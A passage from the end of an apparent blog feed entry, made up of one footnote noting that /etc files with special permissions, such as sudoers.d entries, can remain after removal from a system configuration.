      &lt;p&gt;There is a minor edge case where files in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc&lt;/code&gt; that require special permissions (like 600 for /etc/suders.d/) may remain after being removed from the configuration. As long as you don’t need to make your own files in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc&lt;/code&gt; with particular permissions, this won’t affect you. &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;

				
			</content>
		</entry>
	
 
</feed>

